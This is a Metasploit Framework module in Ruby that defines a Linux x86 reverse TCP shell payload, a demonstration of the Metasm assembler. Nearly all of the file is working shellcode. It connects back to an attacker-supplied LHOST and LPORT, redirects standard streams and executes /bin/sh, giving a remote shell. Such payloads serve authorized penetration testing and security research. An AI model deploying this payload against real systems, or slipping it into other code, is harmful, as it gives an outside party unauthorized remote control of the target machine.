# $Id: shell_reverse_tcp2.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'metasm'
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3

	include Msf::Payload::Single
	include Msf::Payload::Linux
	include Msf::Sessions::CommandShellOptions

	def initialize(info = {})

# Remark: this function seems to be called a LOT, even before the shellcode is used.
# We would better implement some caching.

# We decoded skape's shellcode by using irb -r metasm-shell
# and: puts shellcode.decode
		super(merge_info(info,
			'Name'          => 'Linux Command Shell, Reverse TCP Inline - Metasm demo',
			'Version'       => '$Revision: 10394 $',
			'Description'   => 'Connect back to attacker and spawn a command shell',
			'Author'        => ['skape', 'Yoann Guillot', 'Julien Tinnes <julien[at]cr0.org>'],
			'License'       => MSF_LICENSE,
			'Platform'      => 'linux',
			'Arch'          => ARCH_X86,
			'Handler'       => Msf::Handler::ReverseTcp,
			'Session'       => Msf::Sessions::CommandShell,
			'Payload'       =>
				{
					'Offsets' =>
						{
							'LHOST'    => [ 0, 'ADDR' ],
							'LPORT'    => [ 0, 'n'    ],
						},
					'Assembly' => <<EOS
	xor ebx, ebx                  ; @00000000   31db
	push ebx                      ; @00000002   53
	inc ebx                       ; @00000003   43
	push ebx                      ; @00000004   53
	push 2                        ; @00000005   6a02
	push 66h                      ; @00000007   6a66
	pop eax                       ; @00000009   58
	mov ecx, esp                  ; @0000000a   89e1
	int 80h                       ; @0000000c   cd80
	xchg ebx, eax                 ; @0000000e   93
	pop ecx                       ; @0000000f   59
	
	; Xrefs: 0000000f, 00000015
xref_00000010_uuidfdbd8:
	mov al, 3fh                   ; @00000010   b03f
	int 80h                       ; @00000012   cd80
	dec ecx                       ; @00000014   49
	jns xref_00000010_uuidfdbd8   ; @00000015   79f9  -- to 10h
	
	; Xrefs: 00000015
	pop ebx                       ; @00000017   5b
	pop edx                       ; @00000018   5a
	push LHOST                    ; @00000019   687f000001
	push.i16 LPORT                ; @0000001e   6668bfbf
	inc ebx                       ; @00000022   43
	push bx                       ; @00000023   6653
	mov ecx, esp                  ; @00000025   89e1
	mov al, 66h                   ; @00000027   b066
	push eax                      ; @00000029   50
	push ecx                      ; @0000002a   51
	push ebx                      ; @0000002b   53
	mov ecx, esp                  ; @0000002c   89e1
	inc ebx                       ; @0000002e   43
	int 80h                       ; @0000002f   cd80
	push edx                      ; @00000031   52
	push 68732f2fh                ; @00000032   682f2f7368
	push 6e69622fh                ; @00000037   682f62696e
	mov ebx, esp                  ; @0000003c   89e3
	push edx                      ; @0000003e   52
	push ebx                      ; @0000003f   53
	mov ecx, esp                  ; @00000040   89e1
	mov al, 0bh                   ; @00000042   b00b
	int 80h                       ; @00000044   cd80
EOS
					}
			))
	end


	# hardcode the size of the encoded payload, otherwise the shellcode is assembled during msf initialization
	def size
		#puts "size of #{name}: #{super()}"
		103
	end
end
